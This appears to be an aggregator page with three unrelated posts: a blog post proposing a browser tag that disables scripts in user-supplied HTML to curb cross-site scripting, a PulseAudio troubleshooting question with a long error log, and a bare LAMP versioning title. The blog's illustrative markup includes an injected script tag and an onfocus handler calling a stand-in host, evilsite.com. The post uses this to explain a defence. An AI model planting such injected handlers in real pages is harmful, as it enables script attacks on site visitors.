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  • Wishful Thinking: Why can't HTML fix Script Attacks at the Source?

    - by Rick Strahl
    The Web can be an evil place, especially if you're a Web Developer blissfully unaware of Cross Site Script Attacks (XSS). Even if you are aware of XSS in all of its insidious forms, it's extremely complex to deal with all the issues if you're taking user input and you're actually allowing users to post raw HTML into an application. I'm dealing with this again today in a Web application where legacy data contains raw HTML that has to be displayed and users ask for the ability to use raw HTML as input for listings. The first line of defense of course is: Just say no to HTML input from users. If you don't allow HTML input directly and use HTML Encoding (HttyUtility.HtmlEncode() in .NET or using standard ASP.NET MVC output @Model.Content) you're fairly safe at least from the HTML input provided. Both WebForms and Razor support HtmlEncoded content, although Razor makes it the default. In Razor the default @ expression syntax:@Model.UserContent automatically produces HTML encoded content - you actually have to go out of your way to create raw HTML content (safe by default) using @Html.Raw() or the HtmlString class. In Web Forms (V4) you can use:<%: Model.UserContent %> or if you're using a version prior to 4.0:<%= HttpUtility.HtmlEncode(Model.UserContent) %> This works great as a hedge against embedded <script> tags and HTML markup as any HTML is turned into text that displays as HTML but doesn't render the HTML. But it turns any embedded HTML markup tags into plain text. If you need to display HTML in raw form with the markup tags rendering based on user input this approach is worthless. If you do accept HTML input and need to echo the rendered HTML input back, the task of cleaning up that HTML is a complex task. In the projects I work on, customers are frequently asking for the ability to post raw HTML quite frequently.  Almost every app that I've built where there's document content from users we start out with text only input - possibly using something like MarkDown - but inevitably users want to just post plain old HTML they created in some other rich editing application. See this a lot with realtors especially who often want to reuse their postings easily in multiple places. In my work this is a common problem I need to deal with and I've tried dozens of different methods from sanitizing, simple rejection of input to custom markup schemes none of which have ever felt comfortable to me. They work in a half assed, hacked together sort of way but I always live in fear of missing something vital which is *really easy to do*. My Wishlist Item: A <restricted> tag in HTML Let me dream here for a second on how to address this problem. It seems to me the easiest place where this can be fixed is: In the browser. Browsers are actually executing script code so they have a lot of control over the script code that resides in a page. What if there was a way to specify that you want to turn off script code for a block of HTML? The main issue when dealing with HTML raw input isn't that we as developers are unaware of the implications of user input, but the fact that we sometimes have to display raw HTML input the user provides. So the problem markup is usually isolated in only a very specific part of the document. So, what if we had a way to specify that in any given HTML block, no script code could execute by wrapping it into a tag that disables all script functionality in the browser? This would include <script> tags and any document script attributes like onclick, onfocus etc. and potentially also disallow things like iFrames that can potentially be scripted from the within the iFrame's target. I'd like to see something along these lines:<article> <restricted allowscripts="no" allowiframes="no"> <div>Some content</div> <script>alert('go ahead make my day, punk!");</script> <div onfocus="$.getJson('http://evilsite.com/')">more content</div> </restricted> </article> A tag like this would basically disallow all script code from firing from any HTML that's rendered within it. You'd use this only on code that you actually render from your data only and only if you are dealing with custom data. So something like this:<article> <restricted> @Html.Raw(Model.UserContent) </restricted> </article> For browsers this would actually be easy to intercept. They render the DOM and control loading and execution of scripts that are loaded through it. All the browser would have to do is suspend execution of <script> tags and not hookup any event handlers defined via markup in this block. Given all the crazy XSS attacks that exist and the prevalence of this problem this would go a long way towards preventing at least coded script attacks in the DOM. And it seems like a totally doable solution that wouldn't be very difficult to implement by vendors. There would also need to be some logic in the parser to not allow an </restricted> or <restricted> tag into the content as to short-circuit the rstricted section (per James Hart's comment). I'm sure there are other issues to consider as well that I didn't think of in my off-the-back-of-a-napkin concept here but the idea overall seems worth consideration I think. Without code running in a user supplied HTML block it'd be pretty hard to compromise a local HTML document and pass information like Cookies to a server. Or even send data to a server period. Short of an iFrame that can access the parent frame (which is another restriction that should be available on this <restricted> tag) that could potentially communicate back, there's not a lot a malicious site could do. The HTML could still 'phone home' via image links and href links potentially and basically say this site was accessed, but without the ability to run script code it would be pretty tough to pass along critical information to the server beyond that. Ahhhh… one can dream… Not holding my breath of course. The design by committee that is the W3C can't agree on anything in timeframes measured less than decades, but maybe this is one place where browser vendors can actually step up the pressure. This is something in their best interest to reduce the attack surface for vulnerabilities on their browser platforms significantly. Several people commented on Twitter today that there isn't enough discussion on issues like this that address serious needs in the web browser space. Realistically security has to be a number one concern with Web applications in general - there isn't a Web app out there that is not vulnerable. And yet nothing has been done to address these security issues even though there might be relatively easy solutions to make this happen. It'll take time, and it's probably not going to happen in our lifetime, but maybe this rambling thought sparks some ideas on how this sort of restriction can get into browsers in some way in the future.© Rick Strahl, West Wind Technologies, 2005-2012Posted in ASP.NET  HTML5  HTML  Security   Tweet !function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0];if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src="//platform.twitter.com/widgets.js";fjs.parentNode.insertBefore(js,fjs);}}(document,"script","twitter-wjs"); (function() { var po = document.createElement('script'); po.type = 'text/javascript'; po.async = true; po.src = 'https://apis.google.com/js/plusone.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(po, s); })();

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  • Pulseaudio is no longer working in Debian Squeeze: 'Failed to open module "module-combine-sink": file not found'

    - by mattalexx
    I'm having a problem with pulseaudio. My machine crashed, and when I rebooted and ran pavucontrol, I got a "Connection Failed: Connection refused" dialog. When I run pulseaudio --log-level=info --log-target=stderr from the command line, I get the following output: [...] I: alsa-util.c: Error opening PCM device front:1: No such file or directory I: (alsa-lib)pcm_hw.c: open '/dev/snd/pcmC1D0c' failed (-2) I: alsa-util.c: Error opening PCM device hw:1: No such file or directory I: (alsa-lib)pcm_hw.c: open '/dev/snd/pcmC1D0c' failed (-2) I: alsa-util.c: Error opening PCM device iec958:1: No such file or directory I: (alsa-lib)pcm_hw.c: open '/dev/snd/pcmC1D0c' failed (-2) I: alsa-util.c: Error opening PCM device iec958:1: No such file or directory I: alsa-util.c: Failed to set hardware parameters on plug:iec958:1: Invalid argument I: alsa-util.c: Failed to set hardware parameters on plug:iec958:1: Invalid argument I: alsa-util.c: Failed to set hardware parameters on plug:iec958:1: Invalid argument I: alsa-util.c: Failed to set hardware parameters on plug:iec958:1: Invalid argument I: alsa-util.c: Failed to set hardware parameters on plug:iec958:1: Invalid argument I: (alsa-lib)pcm.c: Unknown PCM a52:1 I: alsa-util.c: Error opening PCM device a52:1: No such file or directory I: (alsa-lib)pcm.c: Unknown PCM a52:1 I: alsa-util.c: Error opening PCM device a52:1: No such file or directory I: (alsa-lib)pcm.c: Unknown PCM a52:1 I: alsa-util.c: Error opening PCM device a52:1: No such file or directory I: (alsa-lib)pcm.c: Unknown PCM a52:1 I: alsa-util.c: Error opening PCM device a52:1: No such file or directory I: (alsa-lib)pcm.c: Unknown PCM a52:1 I: alsa-util.c: Error opening PCM device a52:1: No such file or directory I: (alsa-lib)pcm.c: Unknown PCM a52:1 I: alsa-util.c: Error opening PCM device a52:1: No such file or directory I: (alsa-lib)pcm.c: Unknown PCM a52:1 I: alsa-util.c: Error opening PCM device a52:1: No such file or directory I: (alsa-lib)pcm.c: Unknown PCM a52:1 I: alsa-util.c: Error opening PCM device a52:1: No such file or directory I: (alsa-lib)pcm.c: Unknown PCM a52:1 I: alsa-util.c: Error opening PCM device a52:1: No such file or directory I: (alsa-lib)pcm.c: Unknown PCM a52:1 I: alsa-util.c: Error opening PCM device a52:1: No such file or directory I: (alsa-lib)confmisc.c: Unable to find definition 'cards.USB-Audio.pcm.hdmi.0:CARD=1,AES0=4,AES1=130,AES2=0,AES3=2' I: (alsa-lib)conf.c: function snd_func_refer returned error: No such file or directory I: (alsa-lib)conf.c: Evaluate error: No such file or directory I: (alsa-lib)pcm.c: Unknown PCM hdmi:1 I: alsa-util.c: Error opening PCM device hdmi:1: No such file or directory I: (alsa-lib)confmisc.c: Unable to find definition 'cards.USB-Audio.pcm.hdmi.0:CARD=1,AES0=4,AES1=130,AES2=0,AES3=2' I: (alsa-lib)conf.c: function snd_func_refer returned error: No such file or directory I: (alsa-lib)conf.c: Evaluate error: No such file or directory I: (alsa-lib)pcm.c: Unknown PCM hdmi:1 I: alsa-util.c: Error opening PCM device hdmi:1: No such file or directory I: (alsa-lib)confmisc.c: Unable to find definition 'cards.USB-Audio.pcm.hdmi.0:CARD=1,AES0=4,AES1=130,AES2=0,AES3=2' I: (alsa-lib)conf.c: function snd_func_refer returned error: No such file or directory I: (alsa-lib)conf.c: Evaluate error: No such file or directory I: (alsa-lib)pcm.c: Unknown PCM hdmi:1 I: alsa-util.c: Error opening PCM device hdmi:1: No such file or directory I: (alsa-lib)confmisc.c: Unable to find definition 'cards.USB-Audio.pcm.hdmi.0:CARD=1,AES0=4,AES1=130,AES2=0,AES3=2' I: (alsa-lib)conf.c: function snd_func_refer returned error: No such file or directory I: (alsa-lib)conf.c: Evaluate error: No such file or directory I: (alsa-lib)pcm.c: Unknown PCM hdmi:1 I: alsa-util.c: Error opening PCM device hdmi:1: No such file or directory I: (alsa-lib)confmisc.c: Unable to find definition 'cards.USB-Audio.pcm.hdmi.0:CARD=1,AES0=4,AES1=130,AES2=0,AES3=2' I: (alsa-lib)conf.c: function snd_func_refer returned error: No such file or directory I: (alsa-lib)conf.c: Evaluate error: No such file or directory I: (alsa-lib)pcm.c: Unknown PCM hdmi:1 I: alsa-util.c: Error opening PCM device hdmi:1: No such file or directory I: (alsa-lib)pcm_hw.c: open '/dev/snd/pcmC1D0c' failed (-2) I: alsa-util.c: Error opening PCM device hw:1: No such file or directory I: (alsa-lib)pcm_hw.c: open '/dev/snd/pcmC1D0c' failed (-2) I: alsa-util.c: Error opening PCM device front:1: No such file or directory I: (alsa-lib)pcm_hw.c: open '/dev/snd/pcmC1D0c' failed (-2) I: alsa-util.c: Error opening PCM device hw:1: No such file or directory I: (alsa-lib)pcm_hw.c: open '/dev/snd/pcmC1D0c' failed (-2) I: alsa-util.c: Error opening PCM device iec958:1: No such file or directory I: (alsa-lib)pcm_hw.c: open '/dev/snd/pcmC1D0c' failed (-2) I: alsa-util.c: Error opening PCM device iec958:1: No such file or directory I: card.c: Created 0 "alsa_card.usb-FiiO_DigiHug_USB_Audio-01-Audio" I: alsa-sink.c: Successfully opened device front:1. I: alsa-sink.c: Selected mapping 'Analog Stereo' (analog-stereo). I: alsa-sink.c: Successfully enabled mmap() mode. I: alsa-sink.c: Successfully enabled timer-based scheduling mode. I: (alsa-lib)control.c: Invalid CTL front:1 I: alsa-mixer.c: Unable to attach to mixer front:1: No such file or directory I: alsa-mixer.c: Successfully attached to mixer 'hw:1' W: alsa-mixer.c: Your kernel driver is broken: it reports a volume range from 0.00 dB to 0.00 dB which makes no sense. I: module-device-restore.c: Restoring volume for sink alsa_output.usb-FiiO_DigiHug_USB_Audio-01-Audio.analog-stereo. I: sink.c: Created sink 0 "alsa_output.usb-FiiO_DigiHug_USB_Audio-01-Audio.analog-stereo" with sample spec s16le 2ch 44100Hz and channel map front-left,front-right I: sink.c: alsa.resolution_bits = "16" I: sink.c: device.api = "alsa" I: sink.c: device.class = "sound" I: sink.c: alsa.class = "generic" I: sink.c: alsa.subclass = "generic-mix" I: sink.c: alsa.name = "USB Audio" I: sink.c: alsa.id = "USB Audio" I: sink.c: alsa.subdevice = "0" I: sink.c: alsa.subdevice_name = "subdevice #0" I: sink.c: alsa.device = "0" I: sink.c: alsa.card = "1" I: sink.c: alsa.card_name = "DigiHug USB Audio" I: sink.c: alsa.long_card_name = "FiiO DigiHug USB Audio at usb-0000:00:1a.0-1.2, full speed" I: sink.c: alsa.driver_name = "snd_usb_audio" I: sink.c: device.bus_path = "pci-0000:00:1a.0-usb-0:1.2:1.1" I: sink.c: sysfs.path = "/devices/pci0000:00/0000:00:1a.0/usb1/1-1/1-1.2/1-1.2:1.1/sound/card1" I: sink.c: udev.id = "usb-FiiO_DigiHug_USB_Audio-01-Audio" I: sink.c: device.bus = "usb" I: sink.c: device.vendor.id = "1852" I: sink.c: device.vendor.name = "GYROCOM C&C Co., LTD" I: sink.c: device.product.id = "7022" I: sink.c: device.product.name = "DigiHug_USB_Audio" I: sink.c: device.serial = "FiiO_DigiHug_USB_Audio" I: sink.c: device.string = "front:1" I: sink.c: device.buffering.buffer_size = "352800" I: sink.c: device.buffering.fragment_size = "176400" I: sink.c: device.access_mode = "mmap+timer" I: sink.c: device.profile.name = "analog-stereo" I: sink.c: device.profile.description = "Analog Stereo" I: sink.c: device.description = "DigiHug_USB_Audio Analog Stereo" I: sink.c: alsa.mixer_name = "USB Mixer" I: sink.c: alsa.components = "USB1852:7022" I: sink.c: module-udev-detect.discovered = "1" I: sink.c: device.icon_name = "audio-card-usb" I: source.c: Created source 0 "alsa_output.usb-FiiO_DigiHug_USB_Audio-01-Audio.analog-stereo.monitor" with sample spec s16le 2ch 44100Hz and channel map front-left,front-right I: source.c: device.description = "Monitor of DigiHug_USB_Audio Analog Stereo" I: source.c: device.class = "monitor" I: source.c: alsa.card = "1" I: source.c: alsa.card_name = "DigiHug USB Audio" I: source.c: alsa.long_card_name = "FiiO DigiHug USB Audio at usb-0000:00:1a.0-1.2, full speed" I: source.c: alsa.driver_name = "snd_usb_audio" I: source.c: device.bus_path = "pci-0000:00:1a.0-usb-0:1.2:1.1" I: source.c: sysfs.path = "/devices/pci0000:00/0000:00:1a.0/usb1/1-1/1-1.2/1-1.2:1.1/sound/card1" I: source.c: udev.id = "usb-FiiO_DigiHug_USB_Audio-01-Audio" I: source.c: device.bus = "usb" I: source.c: device.vendor.id = "1852" I: source.c: device.vendor.name = "GYROCOM C&C Co., LTD" I: source.c: device.product.id = "7022" I: source.c: device.product.name = "DigiHug_USB_Audio" I: source.c: device.serial = "FiiO_DigiHug_USB_Audio" I: source.c: device.string = "1" I: source.c: module-udev-detect.discovered = "1" I: source.c: device.icon_name = "audio-card-usb" I: alsa-sink.c: Using 2.0 fragments of size 176400 bytes (1000.00ms), buffer size is 352800 bytes (2000.00ms) I: alsa-sink.c: Time scheduling watermark is 20.00ms I: alsa-sink.c: Hardware volume ranges from 0 to 110. I: alsa-sink.c: Using hardware volume control. Hardware dB scale not supported. I: alsa-sink.c: Using hardware mute control. I: core-util.c: Successfully enabled SCHED_RR scheduling for thread, with priority 5. I: alsa-sink.c: Starting playback. I: module.c: Loaded "module-alsa-card" (index: #4; argument: "device_id="1" name="usb-FiiO_DigiHug_USB_Audio-01-Audio" card_name="alsa_card.usb-FiiO_DigiHug_USB_Audio-01-Audio" tsched=yes ignore_dB=no card_properties="module-udev-detect.discovered=1""). I: module-udev-detect.c: Card /devices/pci0000:00/0000:00:1a.0/usb1/1-1/1-1.2/1-1.2:1.1/sound/card1 (alsa_card.usb-FiiO_DigiHug_USB_Audio-01-Audio) module loaded. I: (alsa-lib)pcm_hw.c: open '/dev/snd/pcmC2D0p' failed (-2) I: alsa-util.c: Error opening PCM device hw:2: No such file or directory I: (alsa-lib)pcm_hw.c: open '/dev/snd/pcmC2D0p' failed (-2) I: alsa-util.c: Error opening PCM device hw:2: No such file or directory I: (alsa-lib)pcm_hw.c: open '/dev/snd/pcmC2D0p' failed (-2) I: alsa-util.c: Error opening PCM device hw:2: No such file or directory I: (alsa-lib)pcm_hw.c: open '/dev/snd/pcmC2D0p' failed (-2) I: alsa-util.c: Error opening PCM device hw:2: No such file or directory I: (alsa-lib)pcm_hw.c: open '/dev/snd/pcmC2D0p' failed (-2) I: alsa-util.c: Error opening PCM device hw:2: No such file or directory I: (alsa-lib)pcm_hw.c: open '/dev/snd/pcmC2D0p' failed (-2) I: alsa-util.c: Error opening PCM device front:2: No such file or directory I: (alsa-lib)pcm_hw.c: open '/dev/snd/pcmC2D0p' failed (-2) I: alsa-util.c: Error opening PCM device hw:2: No such file or directory I: (alsa-lib)pcm_hw.c: open '/dev/snd/pcmC2D0p' failed (-2) I: alsa-util.c: Error opening PCM device front:2: No such file or directory I: (alsa-lib)pcm_hw.c: open '/dev/snd/pcmC2D0p' failed (-2) I: alsa-util.c: Error opening PCM device hw:2: No such file or directory I: (alsa-lib)pcm_hw.c: open '/dev/snd/pcmC2D0p' failed (-2) I: alsa-util.c: Error opening PCM device front:2: No such file or directory I: (alsa-lib)pcm_hw.c: open '/dev/snd/pcmC2D0p' failed (-2) I: alsa-util.c: Error opening PCM device hw:2: No such file or directory I: (alsa-lib)pcm_hw.c: open '/dev/snd/pcmC2D0p' failed (-2) I: alsa-util.c: Error opening PCM device front:2: No such file or directory I: (alsa-lib)pcm_hw.c: open '/dev/snd/pcmC2D0p' failed (-2) I: alsa-util.c: Error opening PCM device hw:2: No such file or directory I: (alsa-lib)pcm_hw.c: open '/dev/snd/pcmC2D0p' failed (-2) I: alsa-util.c: Error opening PCM device front:2: No such file or directory I: (alsa-lib)pcm_hw.c: open '/dev/snd/pcmC2D0p' failed (-2) I: alsa-util.c: Error opening PCM device hw:2: No such file or directory I: (alsa-lib)pcm_hw.c: open '/dev/snd/pcmC2D0p' failed (-2) I: alsa-util.c: Error opening PCM device surround40:2: No such file or directory I: (alsa-lib)pcm_hw.c: open '/dev/snd/pcmC2D0p' failed (-2) I: alsa-util.c: Error opening PCM device surround40:2: No such file or directory I: (alsa-lib)pcm_hw.c: open '/dev/snd/pcmC2D0p' failed (-2) I: alsa-util.c: Error opening PCM device surround40:2: No such file or directory I: (alsa-lib)pcm_hw.c: open '/dev/snd/pcmC2D0p' failed (-2) I: alsa-util.c: Error opening PCM device surround40:2: No such file or directory I: (alsa-lib)pcm_hw.c: open '/dev/snd/pcmC2D0p' failed (-2) I: alsa-util.c: Error opening PCM device surround40:2: No such file or directory I: (alsa-lib)pcm_hw.c: open '/dev/snd/pcmC2D0p' failed (-2) I: alsa-util.c: Error opening PCM device surround41:2: No such file or directory I: (alsa-lib)pcm_hw.c: open '/dev/snd/pcmC2D0p' failed (-2) I: alsa-util.c: Error opening PCM device surround41:2: No such file or directory I: (alsa-lib)pcm_hw.c: open '/dev/snd/pcmC2D0p' failed (-2) I: alsa-util.c: Error opening PCM device surround41:2: No such file or directory I: (alsa-lib)pcm_hw.c: open '/dev/snd/pcmC2D0p' failed (-2) I: alsa-util.c: Error opening PCM device surround41:2: No such file or directory I: (alsa-lib)pcm_hw.c: open '/dev/snd/pcmC2D0p' failed (-2) I: alsa-util.c: Error opening PCM device surround41:2: No such file or directory I: (alsa-lib)pcm_hw.c: open '/dev/snd/pcmC2D0p' failed (-2) I: alsa-util.c: Error opening PCM device surround50:2: No such file or directory I: (alsa-lib)pcm_hw.c: open '/dev/snd/pcmC2D0p' failed (-2) I: alsa-util.c: Error opening PCM device surround50:2: No such file or directory I: (alsa-lib)pcm_hw.c: open '/dev/snd/pcmC2D0p' failed (-2) I: alsa-util.c: Error opening PCM device surround50:2: No such file or directory I: (alsa-lib)pcm_hw.c: open '/dev/snd/pcmC2D0p' failed (-2) I: alsa-util.c: Error opening PCM device surround50:2: No such file or directory I: (alsa-lib)pcm_hw.c: open '/dev/snd/pcmC2D0p' failed (-2) I: alsa-util.c: Error opening PCM device surround50:2: No such file or directory I: (alsa-lib)pcm_hw.c: open '/dev/snd/pcmC2D0p' failed (-2) I: alsa-util.c: Error opening PCM device surround51:2: No such file or directory I: (alsa-lib)pcm_hw.c: open '/dev/snd/pcmC2D0p' failed (-2) I: alsa-util.c: Error opening PCM device surround51:2: No such file or directory I: (alsa-lib)pcm_hw.c: open '/dev/snd/pcmC2D0p' failed (-2) I: alsa-util.c: Error opening PCM device surround51:2: No such file or directory I: (alsa-lib)pcm_hw.c: open '/dev/snd/pcmC2D0p' failed (-2) I: alsa-util.c: Error opening PCM device surround51:2: No such file or directory I: (alsa-lib)pcm_hw.c: open '/dev/snd/pcmC2D0p' failed (-2) I: alsa-util.c: Error opening PCM device surround51:2: No such file or directory I: (alsa-lib)pcm_hw.c: open '/dev/snd/pcmC2D0p' failed (-2) I: alsa-util.c: Error opening PCM device surround71:2: No such file or directory I: (alsa-lib)pcm_hw.c: open '/dev/snd/pcmC2D0p' failed (-2) I: alsa-util.c: Error opening PCM device surround71:2: No such file or directory I: (alsa-lib)pcm_hw.c: open '/dev/snd/pcmC2D0p' failed (-2) I: alsa-util.c: Error opening PCM device surround71:2: No such file or directory I: (alsa-lib)pcm_hw.c: open '/dev/snd/pcmC2D0p' failed (-2) I: alsa-util.c: Error opening PCM device surround71:2: No such file or directory I: (alsa-lib)pcm_hw.c: open '/dev/snd/pcmC2D0p' failed (-2) I: alsa-util.c: Error opening PCM device surround71:2: No such file or directory I: (alsa-lib)pcm_hw.c: open '/dev/snd/pcmC2D0p' failed (-2) I: alsa-util.c: Error opening PCM device iec958:2: No such file or directory I: (alsa-lib)pcm_hw.c: open '/dev/snd/pcmC2D0p' failed (-2) I: alsa-util.c: Error opening PCM device iec958:2: No such file or directory I: (alsa-lib)pcm_hw.c: open '/dev/snd/pcmC2D0p' failed (-2) I: alsa-util.c: Error opening PCM device iec958:2: No such file or directory I: (alsa-lib)pcm_hw.c: open '/dev/snd/pcmC2D0p' failed (-2) I: alsa-util.c: Error opening PCM device iec958:2: No such file or directory I: (alsa-lib)pcm_hw.c: open '/dev/snd/pcmC2D0p' failed (-2) I: alsa-util.c: Error opening PCM device iec958:2: No such file or directory I: (alsa-lib)pcm_hw.c: open '/dev/snd/pcmC2D0p' failed (-2) I: alsa-util.c: Error opening PCM device iec958:2: No such file or directory I: (alsa-lib)pcm_hw.c: open '/dev/snd/pcmC2D0p' failed (-2) I: alsa-util.c: Error opening PCM device iec958:2: No such file or directory I: (alsa-lib)pcm_hw.c: open '/dev/snd/pcmC2D0p' failed (-2) I: alsa-util.c: Error opening PCM device iec958:2: No such file or directory I: (alsa-lib)pcm_hw.c: open '/dev/snd/pcmC2D0p' failed (-2) I: alsa-util.c: Error opening PCM device iec958:2: No such file or directory I: (alsa-lib)pcm_hw.c: open '/dev/snd/pcmC2D0p' failed (-2) I: alsa-util.c: Error opening PCM device iec958:2: No such file or directory I: (alsa-lib)pcm.c: Unknown PCM a52:2 I: alsa-util.c: Error opening PCM device a52:2: No such file or directory I: (alsa-lib)pcm.c: Unknown PCM a52:2 I: alsa-util.c: Error opening PCM device a52:2: No such file or directory I: (alsa-lib)pcm.c: Unknown PCM a52:2 I: alsa-util.c: Error opening PCM device a52:2: No such file or directory I: (alsa-lib)pcm.c: Unknown PCM a52:2 I: alsa-util.c: Error opening PCM device a52:2: No such file or directory I: (alsa-lib)pcm.c: Unknown PCM a52:2 I: alsa-util.c: Error opening PCM device a52:2: No such file or directory I: (alsa-lib)pcm.c: Unknown PCM a52:2 I: alsa-util.c: Error opening PCM device a52:2: No such file or directory I: (alsa-lib)pcm.c: Unknown PCM a52:2 I: alsa-util.c: Error opening PCM device a52:2: No such file or directory I: (alsa-lib)pcm.c: Unknown PCM a52:2 I: alsa-util.c: Error opening PCM device a52:2: No such file or directory I: (alsa-lib)pcm.c: Unknown PCM a52:2 I: alsa-util.c: Error opening PCM device a52:2: No such file or directory I: (alsa-lib)pcm.c: Unknown PCM a52:2 I: alsa-util.c: Error opening PCM device a52:2: No such file or directory I: (alsa-lib)confmisc.c: Unable to find definition 'cards.USB-Audio.pcm.hdmi.0:CARD=2,AES0=4,AES1=130,AES2=0,AES3=2' I: (alsa-lib)conf.c: function snd_func_refer returned error: No such file or directory I: (alsa-lib)conf.c: Evaluate error: No such file or directory I: (alsa-lib)pcm.c: Unknown PCM hdmi:2 I: alsa-util.c: Error opening PCM device hdmi:2: No such file or directory I: (alsa-lib)confmisc.c: Unable to find definition 'cards.USB-Audio.pcm.hdmi.0:CARD=2,AES0=4,AES1=130,AES2=0,AES3=2' I: (alsa-lib)conf.c: function snd_func_refer returned error: No such file or directory I: (alsa-lib)conf.c: Evaluate error: No such file or directory I: (alsa-lib)pcm.c: Unknown PCM hdmi:2 I: alsa-util.c: Error opening PCM device hdmi:2: No such file or directory I: (alsa-lib)confmisc.c: Unable to find definition 'cards.USB-Audio.pcm.hdmi.0:CARD=2,AES0=4,AES1=130,AES2=0,AES3=2' I: (alsa-lib)conf.c: function snd_func_refer returned error: No such file or directory I: (alsa-lib)conf.c: Evaluate error: No such file or directory I: (alsa-lib)pcm.c: Unknown PCM hdmi:2 I: alsa-util.c: Error opening PCM device hdmi:2: No such file or directory I: (alsa-lib)confmisc.c: Unable to find definition 'cards.USB-Audio.pcm.hdmi.0:CARD=2,AES0=4,AES1=130,AES2=0,AES3=2' I: (alsa-lib)conf.c: function snd_func_refer returned error: No such file or directory I: (alsa-lib)conf.c: Evaluate error: No such file or directory I: (alsa-lib)pcm.c: Unknown PCM hdmi:2 I: alsa-util.c: Error opening PCM device hdmi:2: No such file or directory I: (alsa-lib)confmisc.c: Unable to find definition 'cards.USB-Audio.pcm.hdmi.0:CARD=2,AES0=4,AES1=130,AES2=0,AES3=2' I: (alsa-lib)conf.c: function snd_func_refer returned error: No such file or directory I: (alsa-lib)conf.c: Evaluate error: No such file or directory I: (alsa-lib)pcm.c: Unknown PCM hdmi:2 I: alsa-util.c: Error opening PCM device hdmi:2: No such file or directory I: alsa-util.c: Device hw:2 doesn't support 44100 Hz, changed to 8000 Hz. I: alsa-util.c: Failed to set hardware parameters on plug:front:2: Invalid argument I: alsa-util.c: Failed to set hardware parameters on plug:hw:2: Invalid argument I: alsa-util.c: Failed to set hardware parameters on plug:iec958:2: Invalid argument I: alsa-util.c: Failed to set hardware parameters on plug:iec958:2: Invalid argument I: module-card-restore.c: Restoring profile for card alsa_card.usb-046d_08d7-01-U0x46d0x8d7. I: card.c: Created 1 "alsa_card.usb-046d_08d7-01-U0x46d0x8d7" I: module.c: Loaded "module-alsa-card" (index: #5; argument: "device_id="2" name="usb-046d_08d7-01-U0x46d0x8d7" card_name="alsa_card.usb-046d_08d7-01-U0x46d0x8d7" tsched=yes ignore_dB=no card_properties="module-udev-detect.discovered=1""). I: module-udev-detect.c: Card /devices/pci0000:00/0000:00:1a.0/usb1/1-1/1-1.6/1-1.6:1.1/sound/card2 (alsa_card.usb-046d_08d7-01-U0x46d0x8d7) module loaded. I: module-udev-detect.c: Found 3 cards. I: module.c: Loaded "module-udev-detect" (index: #6; argument: ""). I: module.c: Loaded "module-esound-protocol-unix" (index: #7; argument: ""). I: module.c: Loaded "module-native-protocol-unix" (index: #8; argument: ""). I: module-default-device-restore.c: Saved default sink 'alsa_output.pci-0000_00_1b.0.analog-surround-41' not existant, not restoring default sink setting. I: module-default-device-restore.c: Saved default source 'alsa_output.pci-0000_00_1b.0.analog-surround-41.monitor' not existant, not restoring default source setting. I: module.c: Loaded "module-default-device-restore" (index: #9; argument: ""). I: module.c: Loaded "module-rescue-streams" (index: #10; argument: ""). I: module.c: Loaded "module-always-sink" (index: #11; argument: ""). I: module.c: Loaded "module-intended-roles" (index: #12; argument: ""). I: module.c: Loaded "module-suspend-on-idle" (index: #13; argument: ""). I: client.c: Created 0 "ConsoleKit Session /org/freedesktop/ConsoleKit/Session2" I: module.c: Loaded "module-console-kit" (index: #14; argument: ""). I: module.c: Loaded "module-position-event-sounds" (index: #15; argument: ""). I: module.c: Loaded "module-cork-music-on-phone" (index: #16; argument: ""). E: module.c: Failed to open module "module-combine-sink": file not found E: main.c: Module load failed. E: main.c: Failed to initialize daemon. I: module.c: Unloading "module-device-restore" (index: #0). I: module.c: Unloaded "module-device-restore" (index: #0). I: module.c: Unloading "module-stream-restore" (index: #1). I: module.c: Unloaded "module-stream-restore" (index: #1). I: module.c: Unloading "module-card-restore" (index: #2). I: module.c: Unloaded "module-card-restore" (index: #2). I: module.c: Unloading "module-augment-properties" (index: #3). I: module.c: Unloaded "module-augment-properties" (index: #3). I: module.c: Unloading "module-alsa-card" (index: #4). I: sink.c: Freeing sink 0 "alsa_output.usb-FiiO_DigiHug_USB_Audio-01-Audio.analog-stereo" I: source.c: Freeing source 0 "alsa_output.usb-FiiO_DigiHug_USB_Audio-01-Audio.analog-stereo.monitor" I: card.c: Freed 0 "alsa_card.usb-FiiO_DigiHug_USB_Audio-01-Audio" I: module.c: Unloaded "module-alsa-card" (index: #4). I: module.c: Unloading "module-alsa-card" (index: #5). I: card.c: Freed 1 "alsa_card.usb-046d_08d7-01-U0x46d0x8d7" I: module.c: Unloaded "module-alsa-card" (index: #5). I: module.c: Unloading "module-udev-detect" (index: #6). I: module.c: Unloaded "module-udev-detect" (index: #6). I: module.c: Unloading "module-esound-protocol-unix" (index: #7). I: module.c: Unloaded "module-esound-protocol-unix" (index: #7). I: module.c: Unloading "module-native-protocol-unix" (index: #8). I: module.c: Unloaded "module-native-protocol-unix" (index: #8). I: module.c: Unloading "module-default-device-restore" (index: #9). I: module.c: Unloaded "module-default-device-restore" (index: #9). I: module.c: Unloading "module-rescue-streams" (index: #10). I: module.c: Unloaded "module-rescue-streams" (index: #10). I: module.c: Unloading "module-always-sink" (index: #11). I: module.c: Unloaded "module-always-sink" (index: #11). I: module.c: Unloading "module-intended-roles" (index: #12). I: module.c: Unloaded "module-intended-roles" (index: #12). I: module.c: Unloading "module-suspend-on-idle" (index: #13). I: module.c: Unloaded "module-suspend-on-idle" (index: #13). I: module.c: Unloading "module-console-kit" (index: #14). I: client.c: Freed 0 "ConsoleKit Session /org/freedesktop/ConsoleKit/Session2" I: module.c: Unloaded "module-console-kit" (index: #14). I: module.c: Unloading "module-position-event-sounds" (index: #15). I: module.c: Unloaded "module-position-event-sounds" (index: #15). I: module.c: Unloading "module-cork-music-on-phone" (index: #16). I: module.c: Unloaded "module-cork-music-on-phone" (index: #16). I: main.c: Daemon terminated. I believe the relevant part is this: E: module.c: Failed to open module "module-combine-sink": file not found E: main.c: Module load failed. E: main.c: Failed to initialize daemon. I tried uninstalling and reinstalling pulseaudio, I tried to find a way to install module-combine-sink. Nothing worked. I'm on a Debian Squeeze 32-bit machine. What can I do to fix this?

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  • LAMP Stack Versioning -- Is there a website or version tracker source to help suggest the right versions of each part of a platform stack?

    - by Chris Adragna
